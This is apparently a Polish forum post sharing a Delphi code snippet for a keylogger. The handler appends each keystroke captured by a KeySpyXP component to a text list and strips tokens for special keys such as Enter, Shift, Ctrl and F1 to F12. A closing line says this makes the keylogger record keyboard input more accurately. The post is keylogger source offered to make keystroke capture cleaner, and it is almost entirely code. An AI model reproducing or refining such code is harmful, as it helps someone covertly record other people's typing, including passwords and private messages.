Kod:
procedure TAlfa12.KeySpyXP1Key(Sender: TObject; key: String);
begin
List.text := List.text + key;
List.text:=Stringreplace(List.Text,'{ENTER}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{RightMouseButton}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{LeftMouseButton}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{DELETE}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{Alt}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{shift}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{ctrl}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{TAB}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{LEFT SHIFT}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{UP}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{DOWN}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{RIGHT}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{LEFT}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F1}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F2}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F3}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F4}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F5}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F6}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F7}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F8}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F9}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F10}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F11}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{F12}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{RIGHT CONTROL}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{LEFT ALT}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{BACKSPACE}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{LEFT CONTROL}','',[rfreplaceall]);
List.text:=Stringreplace(List.Text,'{RIGHT ALT}','',[rfreplaceall]);
end;
end.
Wtedy ten keylogger będzie dokładniej przechwytywał z klawiatury.